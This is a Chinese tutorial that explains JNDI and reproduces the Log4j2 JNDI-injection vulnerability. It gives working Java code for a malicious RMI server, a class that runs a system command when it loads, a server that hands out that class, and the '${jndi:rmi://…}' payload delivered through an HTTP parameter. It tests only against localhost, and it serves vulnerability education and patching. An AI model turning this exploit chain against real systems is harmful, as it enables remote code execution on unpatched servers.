用3個(gè)實(shí)例從原理到實(shí)戰(zhàn)講清楚Log4j史詩(shī)級(jí)漏洞
背景
最近互聯(lián)網(wǎng)技術(shù)圈最火的一件事莫過(guò)于Log4j2的漏洞了。同時(shí)也涌現(xiàn)出了各類(lèi)分析文章,關(guān)于漏洞的版本、漏洞的原因、漏洞的修復(fù)、程序員因此加班等等。
經(jīng)??次椅恼碌呐笥讯贾?,面對(duì)這樣熱門(mén)有意思的技術(shù)點(diǎn),怎能錯(cuò)過(guò)深入分析一波呢?大概你也已經(jīng)聽(tīng)說(shuō)了,造成漏洞的”罪魁禍?zhǔn)住笆荍NDI,今天我們就聊它。
JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是個(gè)什么鬼?好吧,如果你已經(jīng)有一兩年的編程經(jīng)驗(yàn),但還不了解JNDI,甚至沒(méi)聽(tīng)說(shuō)過(guò)。那么,要么趕緊換工作,要么趕緊讀讀這篇文章。
JNDI是個(gè)什么鬼?
說(shuō)起JNDI,從事Java EE編程的人應(yīng)該都在用著,但知不知道自己在用,那就看你對(duì)技術(shù)的鉆研深度了。這次Log4j2曝出漏洞,不正說(shuō)明大量項(xiàng)目或直接或間接的在用著JNDI。來(lái)看看JNDI到底是個(gè)什么鬼吧?
先來(lái)看看Sun官方的解釋:
Java命名和目錄接口(Java Naming and Directory Interface ,JNDI)是用于從Java應(yīng)用程序中訪問(wèn)名稱和目錄服務(wù)的一組API。命名服務(wù)即將名稱與對(duì)象相關(guān)聯(lián),以便能通過(guò)相應(yīng)名稱訪問(wèn)這些對(duì)象。而目錄服務(wù)即其對(duì)象具有屬性及名稱的命名服務(wù)。
命名或目錄服務(wù)允許你集中管理共享信息的存儲(chǔ),這在網(wǎng)絡(luò)應(yīng)用程序中很重要,因?yàn)樗梢允惯@類(lèi)應(yīng)用程序更加一致和易于管理。例如,可以將打印機(jī)配置存儲(chǔ)在目錄服務(wù)中,這樣所有與打印機(jī)相關(guān)的應(yīng)用程序都能夠使用它。
概念是不是很抽象,讀了好幾遍都沒(méi)懂?一圖勝千言:
看著怎么有點(diǎn)注冊(cè)中心的意思?是的,如果你使用過(guò)Nacos或讀過(guò)Nacos的源碼,Naming Service這個(gè)概念一定很熟悉。在JNDI中,雖然實(shí)現(xiàn)方式不同、應(yīng)用場(chǎng)景不同,但并不影響你通過(guò)類(lèi)比注冊(cè)中心的方式來(lái)理解JNDI。
如果你說(shuō)沒(méi)用過(guò)Nacos,那好,Map總用過(guò)吧。忽略掉JNDI與Map底層實(shí)現(xiàn)的區(qū)別,JNDI提供了一個(gè)類(lèi)似Map的綁定功能,然后又提供了基于lookup或search之類(lèi)的方法來(lái)根據(jù)名稱查找Object,好比Map的get方法。
總之,JNDI就是一個(gè)規(guī)范,規(guī)范就需要對(duì)應(yīng)的API(也就是一些Java類(lèi))來(lái)實(shí)現(xiàn)。通過(guò)這組API,可以將Object(對(duì)象)和一個(gè)名稱進(jìn)行關(guān)聯(lián),同時(shí)提供了基于名稱查找Object的途徑。
最后,對(duì)于JNDI,SUN公司只是提供了一個(gè)接口規(guī)范,具體由對(duì)應(yīng)的服務(wù)器來(lái)實(shí)現(xiàn)。比如,Tomcat有Tomcat的實(shí)現(xiàn)方式,JBoss有JBoss的實(shí)現(xiàn)方式,遵守規(guī)范就好。
命名服務(wù)與目錄服務(wù)的區(qū)別
命名服務(wù)就是上面提到的,類(lèi)似Map的綁定與查找功能。比如:在Internet中的域名服務(wù)(domain naming service,DNS),就是提供將域名映射到IP地址的命名服務(wù),在瀏覽器中輸入域名,通過(guò)DNS找到相應(yīng)的IP地址,然后訪問(wèn)網(wǎng)站。
目錄服務(wù)是對(duì)命名服務(wù)的擴(kuò)展,是一種特殊的命名服務(wù),提供了屬性與對(duì)象的關(guān)聯(lián)和查找。一個(gè)目錄服務(wù)通常擁有一個(gè)命名服務(wù)(但是一個(gè)命名服務(wù)不必具有一個(gè)目錄服務(wù))。比如電話簿就是一個(gè)典型的目錄服務(wù),一般先在電話簿里找到相關(guān)的人名,再找到這個(gè)人的電話號(hào)碼。
目錄服務(wù)允許屬性(比如用戶的電子郵件地址)與對(duì)象相關(guān)聯(lián)(而命名服務(wù)則不然)。這樣,使用目錄服務(wù)時(shí),可以基于對(duì)象的屬性來(lái)搜索它們。
JNDI架構(gòu)分層
JNDI通常分為三層:
JNDI API:用于與Java應(yīng)用程序與其通信,這一層把應(yīng)用程序和實(shí)際的數(shù)據(jù)源隔離開(kāi)來(lái)。因此無(wú)論應(yīng)用程序是訪問(wèn)LDAP、RMI、DNS還是其他的目錄服務(wù),跟這一層都沒(méi)有關(guān)系。Naming Manager:也就是我們提到的命名服務(wù);JNDI SPI(Server Provider Interface):用于具體到實(shí)現(xiàn)的方法上。
整體架構(gòu)分層如下圖:
需要注意的是:JNDI同時(shí)提供了應(yīng)用程序編程接口(Application Programming Interface ,API)和服務(wù)提供程序接口(Service Provider Interface ,SPI)。
這樣做對(duì)于與命名或目錄服務(wù)交互的應(yīng)用程序來(lái)說(shuō),必須存在一個(gè)用于該服務(wù)的JNDI服務(wù)提供程序,這便是JNDI SPI發(fā)揮作用的舞臺(tái)。
一個(gè)服務(wù)提供程序基本上就是一組類(lèi),對(duì)特定的命名和目錄服務(wù)實(shí)現(xiàn)了各種JNDI接口——這與JDBC驅(qū)動(dòng)程序針對(duì)特定的數(shù)據(jù)系統(tǒng)實(shí)現(xiàn)各種JDBC接口極為相似。作為開(kāi)發(fā)人員,不需要擔(dān)心JNDI SPI。只需確保為每個(gè)要使用的命名或目錄服務(wù)提供了一個(gè)服務(wù)提供程序即可。
JNDI的應(yīng)用
下面再了解一下JNDI容器的概念及應(yīng)用場(chǎng)景。
JNDI容器環(huán)境
JNDI中的命名(Naming),就是將Java對(duì)象以某個(gè)名稱的形式綁定(binding)到一個(gè)容器環(huán)境(Context)中。當(dāng)使用時(shí),調(diào)用容器環(huán)境(Context)的查找(lookup)方法找出某個(gè)名稱所綁定的Java對(duì)象。
容器環(huán)境(Context)本身也是一個(gè)Java對(duì)象,它也可以通過(guò)一個(gè)名稱綁定到另一個(gè)容器環(huán)境(Context)中。將一個(gè)Context對(duì)象綁定到另外一個(gè)Context對(duì)象中,這就形成了一種父子級(jí)聯(lián)關(guān)系,多個(gè)Context對(duì)象最終可以級(jí)聯(lián)成一種樹(shù)狀結(jié)構(gòu),樹(shù)中的每個(gè)Context對(duì)象中都可以綁定若干個(gè)Java對(duì)象。
JNDI 應(yīng)用
JNDI的基本使用操作就是:先創(chuàng)建一個(gè)對(duì)象,然后放到容器環(huán)境中,使用的時(shí)候再拿出來(lái)。
此時(shí),你是否疑惑,干嘛這么費(fèi)勁呢?換句話說(shuō),這么費(fèi)勁能帶來(lái)什么好處呢?
在真實(shí)應(yīng)用中,通常是由系統(tǒng)程序或框架程序先將資源對(duì)象綁定到JNDI環(huán)境中,后續(xù)在該系統(tǒng)或框架中運(yùn)行的模塊程序就可以從JNDI環(huán)境中查找這些資源對(duì)象了。
關(guān)于JDNI與我們實(shí)踐相結(jié)合的一個(gè)例子是JDBC的使用。在沒(méi)有基于JNDI實(shí)現(xiàn)時(shí),連接一個(gè)數(shù)據(jù)庫(kù)通常需要:加載數(shù)據(jù)庫(kù)驅(qū)動(dòng)程序、連接數(shù)據(jù)庫(kù)、操作數(shù)據(jù)庫(kù)、關(guān)閉數(shù)據(jù)庫(kù)等步驟。而不同的數(shù)據(jù)庫(kù)在對(duì)上述步驟的實(shí)現(xiàn)又有所不同,參數(shù)也可能發(fā)生變化。
如果把這些問(wèn)題交由J2EE容器來(lái)配置和管理,程序就只需對(duì)這些配置和管理進(jìn)行引用就可以了。
以Tomcat服務(wù)器為例,在啟動(dòng)時(shí)可以創(chuàng)建一個(gè)連接到某種數(shù)據(jù)庫(kù)系統(tǒng)的數(shù)據(jù)源(DataSource)對(duì)象,并將該數(shù)據(jù)源(DataSource)對(duì)象綁定到JNDI環(huán)境中,以后在這個(gè)Tomcat服務(wù)器中運(yùn)行的Servlet和JSP程序就可以從JNDI環(huán)境中查詢出這個(gè)數(shù)據(jù)源(DataSource)對(duì)象進(jìn)行使用,而不用關(guān)心數(shù)據(jù)源(DataSource)對(duì)象是如何創(chuàng)建出來(lái)的。
這種方式極大地增強(qiáng)了系統(tǒng)的可維護(hù)性,即便當(dāng)數(shù)據(jù)庫(kù)系統(tǒng)的連接參數(shù)發(fā)生變更時(shí),也與應(yīng)用程序開(kāi)發(fā)人員無(wú)關(guān)。 JNDI將一些關(guān)鍵信息放到內(nèi)存中,可以提高訪問(wèn)效率;通過(guò) JNDI可以達(dá)到解耦的目的,讓系統(tǒng)更具可維護(hù)性和可擴(kuò)展性。
JNDI實(shí)戰(zhàn)
有了以上的概念和基礎(chǔ)知識(shí),現(xiàn)在可以開(kāi)始實(shí)戰(zhàn)了。
在架構(gòu)圖中,JNDI的實(shí)現(xiàn)層中包含了多種實(shí)現(xiàn)方式,這里就基于其中的RMI實(shí)現(xiàn)來(lái)寫(xiě)個(gè)實(shí)例體驗(yàn)一把。
基于RMI的實(shí)現(xiàn)
RMI是Java中的遠(yuǎn)程方法調(diào)用,基于Java的序列化和反序列化傳遞數(shù)據(jù)。
可以通過(guò)如下代碼來(lái)搭建一個(gè)RMI服務(wù):
// ①定義接口 public interface RmiService extends Remote { String sayHello() throws RemoteException; } // ②接口實(shí)現(xiàn) public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService { protected MyRmiServiceImpl() throws RemoteException { } @Override public String sayHello() throws RemoteException { return "Hello World!"; } } // ③服務(wù)綁定并啟動(dòng)監(jiān)聽(tīng) public class RmiServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); System.out.println("RMI啟動(dòng),監(jiān)聽(tīng):1099 端口"); registry.bind("hello", new MyRmiServiceImpl()); Thread.currentThread().join(); } }
上述代碼先定義了一個(gè)RmiService的接口,該接口實(shí)現(xiàn)了Remote,并對(duì)RmiService接口進(jìn)行了實(shí)現(xiàn)。在實(shí)現(xiàn)的過(guò)程中繼承了UnicastRemoteObject的具體服務(wù)實(shí)現(xiàn)類(lèi)。
最后,在RmiServer中通過(guò)Registry監(jiān)聽(tīng)1099端口,并將RmiService接口的實(shí)現(xiàn)類(lèi)進(jìn)行了綁定。
下面構(gòu)建客戶端訪問(wèn):
public class RmiClient { public static void main(String[] args) throws Exception { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); Context ctx = new InitialContext(env); RmiService service = (RmiService) ctx.lookup("hello"); System.out.println(service.sayHello()); } }
其中,提供了兩個(gè)參數(shù)Context.INITIAL_CONTEXT_FACTORY
、Context.PROVIDER_URL
,分別表示Context初始化的工廠方法和提供服務(wù)的url。
執(zhí)行上述程序,就可以獲得遠(yuǎn)程端的對(duì)象并調(diào)用,這樣就實(shí)現(xiàn)了RMI的通信。當(dāng)然,這里Server和Client在同一臺(tái)機(jī)器,就用了”localhost“的,如果是遠(yuǎn)程服務(wù)器,則替換成對(duì)應(yīng)的IP即可。
構(gòu)建攻擊
常規(guī)來(lái)說(shuō),如果要構(gòu)建攻擊,只需偽造一個(gè)服務(wù)器端,返回惡意的序列化Payload,客戶端接收之后觸發(fā)反序列化。但實(shí)際上對(duì)返回的類(lèi)型是有一定的限制的。
在JNDI中,有一個(gè)更好利用的方式,涉及到命名引用的概念javax.naming.Reference
。
如果一些本地實(shí)例類(lèi)過(guò)大,可以選擇一個(gè)遠(yuǎn)程引用,通過(guò)遠(yuǎn)程調(diào)用的方式,引用遠(yuǎn)程的類(lèi)。這也就是JNDI利用Payload還會(huì)涉及HTTP服務(wù)的原因。
RMI服務(wù)只會(huì)返回一個(gè)命名引用,告訴JNDI應(yīng)用該如何去尋找這個(gè)類(lèi),然后應(yīng)用則會(huì)去HTTP服務(wù)下找到對(duì)應(yīng)類(lèi)的class文件并加載。此時(shí),只要將惡意代碼寫(xiě)入static方法中,則會(huì)在類(lèi)加載時(shí)被執(zhí)行。
基本流程如下:
修改RmiServer的代碼實(shí)現(xiàn):
public class RmiServer { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Registry registry = LocateRegistry.createRegistry(1099); System.out.println("RMI啟動(dòng),監(jiān)聽(tīng):1099 端口"); Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("hello", referenceWrapper); Thread.currentThread().join(); } }
由于采用的Java版本較高,需先將系統(tǒng)變量com.sun.jndi.rmi.object.trustURLCodebase設(shè)置為true。
其中綁定的Reference涉及三個(gè)變量:
- className:遠(yuǎn)程加載時(shí)所使用的類(lèi)名,如果本地找不到這個(gè)類(lèi)名,就去遠(yuǎn)程加載;
- classFactory:遠(yuǎn)程的工廠類(lèi);
- classFactoryLocation:工廠類(lèi)加載的地址,可以是file://、ftp://、http:// 等協(xié)議;
此時(shí),通過(guò)Python啟動(dòng)一個(gè)簡(jiǎn)單的HTTP監(jiān)聽(tīng)服務(wù):
192:~ zzs$ python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...
打印日志,說(shuō)明在8000端口進(jìn)行了http的監(jiān)聽(tīng)。
對(duì)應(yīng)的客戶端代碼修改為如下:
public class RmiClient { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); Context ctx = new InitialContext(env); ctx.lookup("hello"); } }
執(zhí)行,客戶端代碼,發(fā)現(xiàn)Python監(jiān)聽(tīng)的服務(wù)打印如下:
127.0.0.1 - - [12/Dec/2021 16:19:40] code 404, message File not found 127.0.0.1 - - [12/Dec/2021 16:19:40] "GET /Calc.class HTTP/1.1" 404 -
可見(jiàn),客戶端已經(jīng)去遠(yuǎn)程加載惡意class(Calc.class)文件了,只不過(guò)Python服務(wù)并沒(méi)有返回對(duì)應(yīng)的結(jié)果而已。
進(jìn)一步改造
上述代碼證明了可以通過(guò)RMI的形式進(jìn)行攻擊,下面基于上述代碼和Spring Boot Web服務(wù)的形式進(jìn)一步演示。通過(guò)JNDI注入+RMI的形式調(diào)用起本地的計(jì)算器。
上述的基礎(chǔ)代碼不變,后續(xù)只微調(diào)RmiServer和RmiClient類(lèi),同時(shí)添加一些新的類(lèi)和方法。
第一步:構(gòu)建攻擊類(lèi)
創(chuàng)建一個(gè)攻擊類(lèi)BugFinder,用于啟動(dòng)本地的計(jì)算器:
public class BugFinder { public BugFinder() { try { System.out.println("執(zhí)行漏洞代碼"); String[] commands = {"open", "/System/Applications/Calculator.app"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); System.out.println("完成執(zhí)行漏洞代碼"); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { BugFinder bugFinder = new BugFinder(); } }
本人是Mac操作系統(tǒng),代碼中就基于Mac的命令實(shí)現(xiàn)方式,通過(guò)Java命令調(diào)用Calculator.app。同時(shí),當(dāng)該類(lèi)被初始化時(shí),會(huì)執(zhí)行啟動(dòng)計(jì)算器的命令。
將上述代碼進(jìn)行編譯,存放在一個(gè)位置,這里單獨(dú)copy出來(lái)放在了”/Users/zzs/temp/BugFinder.class“路徑,以備后用,這就是攻擊的惡意代碼了。
第二步:構(gòu)建Web服務(wù)器
Web服務(wù)用于RMI調(diào)用時(shí)返回攻擊類(lèi)文件。這里采用Spring Boot項(xiàng)目,核心實(shí)現(xiàn)代碼如下:
@RestController public class ClassController { @GetMapping(value = "/BugFinder.class") public void getClass(HttpServletResponse response) { String file = "/Users/zzs/temp/BugFinder.class"; FileInputStream inputStream = null; OutputStream os = null; try { inputStream = new FileInputStream(file); byte[] data = new byte[inputStream.available()]; inputStream.read(data); os = response.getOutputStream(); os.write(data); os.flush(); } catch (Exception e) { e.printStackTrace(); } finally { // 省略流的判斷關(guān)閉; } } }
在該Web服務(wù)中,會(huì)讀取BugFinder.class文件,并返回給RMI服務(wù)。重點(diǎn)提供了一個(gè)Web服務(wù),能夠返回一個(gè)可執(zhí)行的class文件。
第三步:修改RmiServer
對(duì)RmiServer的綁定做一個(gè)修改:
public class RmiServer { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Registry registry = LocateRegistry.createRegistry(1099); System.out.println("RMI啟動(dòng),監(jiān)聽(tīng):1099 端口"); Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "http://127.0.0.1:8080/BugFinder.class"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("hello", referenceWrapper); Thread.currentThread().join(); } }
這里Reference傳入的參數(shù)就是攻擊類(lèi)及遠(yuǎn)程下載的Web地址。
第四步:執(zhí)行客戶端代碼
執(zhí)行客戶端代碼進(jìn)行訪問(wèn):
public class RmiClient { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); Context ctx = new InitialContext(env); ctx.lookup("hello"); } }
本地計(jì)算器被打開(kāi):
基于Log4j2的攻擊
上面演示了基本的攻擊模式,基于上述模式,我們?cè)賮?lái)看看Log4j2的漏洞攻擊。
在Spring Boot項(xiàng)目中引入了log4j2的受影響版本:
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions><!-- 去掉springboot默認(rèn)配置 --> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <dependency> <!-- 引入log4j2依賴 --> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency>
這里需要注意,先排除掉Spring Boot默認(rèn)的日志,否則可能無(wú)法復(fù)現(xiàn)Bug。
修改一下RMI的Server代碼:
public class RmiServer { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Registry registry = LocateRegistry.createRegistry(1099); System.out.println("RMI啟動(dòng),監(jiān)聽(tīng):1099 端口"); Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("hello", referenceWrapper); Thread.currentThread().join(); } }
這里直接訪問(wèn)BugFinder,JNDI綁定名稱為:hello。
客戶端引入Log4j2的API,然后記錄日志:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class RmiClient { private static final Logger logger = LogManager.getLogger(RmiClient.class); public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); logger.error("${jndi:rmi://127.0.0.1:1099/hello}"); Thread.sleep(5000); } }
日志中記錄的信息為“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和綁定的名稱。
執(zhí)行程序,發(fā)現(xiàn)計(jì)算器被成功打開(kāi)。
當(dāng)然,在實(shí)際應(yīng)用中,logger.error中記錄的日志信息,可能是通過(guò)參數(shù)獲得,比如在Spring Boot中定義如下代碼:
@RestController public class Log4jController { private static final Logger logger = LogManager.getLogger(Log4jController.class); /** * 方便測(cè)試,用了get請(qǐng)求 * @param username 登錄名稱 */ @GetMapping("/a") public void log4j(String username){ System.out.println(username); // 打印登錄名稱 logger.info(username); } }
在瀏覽器中請(qǐng)求URL為:
http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D
其中username參數(shù)的值就是“${jndi:rmi://127.0.0.1:1099/hello}”經(jīng)過(guò)URLEncoder#encode編碼之后的值。此時(shí),訪問(wèn)該URL地址,同樣可以將打開(kāi)計(jì)算器。
至于Log4j2內(nèi)部邏輯漏洞觸發(fā)JNDI調(diào)用的部分就不再展開(kāi)了,感興趣的朋友在上述實(shí)例上進(jìn)行debug即可看到完整的調(diào)用鏈路。
小結(jié)
本篇文章通過(guò)對(duì)Log4j2漏洞的分析,不僅帶大家了解了JNDI的基礎(chǔ)知識(shí),而且完美重現(xiàn)了一次基于JNDI的工具。本文涉及到的代碼都是本人親自實(shí)驗(yàn)過(guò)的,強(qiáng)烈建議大家也跑一遍代碼,真切感受一下如何實(shí)現(xiàn)攻擊邏輯。
JNDI注入事件不僅在Log4j2中發(fā)生過(guò),而且在大量其他框架中也有出現(xiàn)。雖然JDNI為我們帶來(lái)了便利,但同時(shí)也帶了風(fēng)險(xiǎn)。不過(guò)在實(shí)例中大家也看到在JDK的高版本中,不進(jìn)行特殊設(shè)置(com.sun.jndi.rmi.object.trustURLCodebase設(shè)置為true),還是無(wú)法觸發(fā)漏洞的。這樣也多少讓人放心一些。
另外,如果你的系統(tǒng)中真的出現(xiàn)此漏洞,強(qiáng)烈建議馬上修復(fù)。在此漏洞未被報(bào)道之前,可能只有少數(shù)人知道。一旦眾人皆知,躍躍欲試的人就多了,趕緊防護(hù)起來(lái)吧。
到此這篇關(guān)于Log4j史詩(shī)級(jí)漏洞的文章就介紹到這了,更多相關(guān)實(shí)例講Log4j漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Java并發(fā)編程包中atomic的實(shí)現(xiàn)原理示例詳解
這篇文章主要給大家介紹了關(guān)于Java并發(fā)編程包中atomic的實(shí)現(xiàn)原理,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2018-09-09spring-boot 多線程并發(fā)定時(shí)任務(wù)的解決方案
這篇文章主要介紹了spring-boot 多線程并發(fā)定時(shí)任務(wù)的解決方案,需要的朋友可以參考下2019-08-08Java 類(lèi)在 Tomcat 中是如何加載的(過(guò)程分析)
這篇文章主要介紹了Java 類(lèi)在 Tomcat 中是如何加載的過(guò)程分析,本文通過(guò)圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-07-07java截取字符串中的指定字符的兩種方法(以base64圖片為例)
本文介紹了使用Java截取字符串中指定字符的方法,通過(guò)substring索引和正則實(shí)現(xiàn),文章詳細(xì)介紹了實(shí)現(xiàn)步驟和示例代碼,對(duì)于想要了解如何使用Java截取字符串指定字符的讀者具有一定的參考價(jià)值2023-08-08深入理解springboot中配置文件application.properties
本文主要介紹了springboot中配置文件application.properties,文中通過(guò)示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2021-10-10Mybatis入門(mén)教程(四)之mybatis動(dòng)態(tài)sql
這篇文章主要介紹了Mybatis入門(mén)教程(四)之mybatis動(dòng)態(tài)sql的相關(guān)資料,涉及到動(dòng)態(tài)sql及動(dòng)態(tài)sql的作用知識(shí),本文介紹的非常不錯(cuò),具有參考借鑒價(jià)值,需要的朋友可以參考下2016-09-09IDEA啟動(dòng)Springboot報(bào)錯(cuò):無(wú)效的目標(biāo)發(fā)行版:17 的解決辦法
這篇文章主要給大家介紹了IDEA啟動(dòng)Springboot報(bào)錯(cuò):無(wú)效的目標(biāo)發(fā)行版:17 的解決辦法,文中通過(guò)代碼示例和圖文講解的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作有一定的幫助,需要的朋友可以參考下2024-02-02全網(wǎng)最新Log4j?漏洞修復(fù)和臨時(shí)補(bǔ)救方法
Apache?Log4j?遠(yuǎn)程代碼執(zhí)行漏洞,如何快速修復(fù)log4j2漏洞,本文給大家介紹下Log4j?漏洞修復(fù)和臨時(shí)補(bǔ)救方法,感興趣的朋友跟隨小編一起看看吧2021-12-12使用mybatis插件PageHelper實(shí)現(xiàn)分頁(yè)效果
這篇文章主要為大家詳細(xì)介紹了使用mybatis插件PageHelper實(shí)現(xiàn)分頁(yè)效果,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-01-01Java調(diào)用打印機(jī)的2種方式舉例(無(wú)驅(qū)/有驅(qū))
我們平時(shí)使用某些軟件或者在超市購(gòu)物的時(shí)候都會(huì)發(fā)現(xiàn)可以使用打印機(jī)進(jìn)行打印,這篇文章主要給大家介紹了關(guān)于Java調(diào)用打印機(jī)的2種方式,分別是無(wú)驅(qū)/有驅(qū)的相關(guān)資料,需要的朋友可以參考下2023-11-11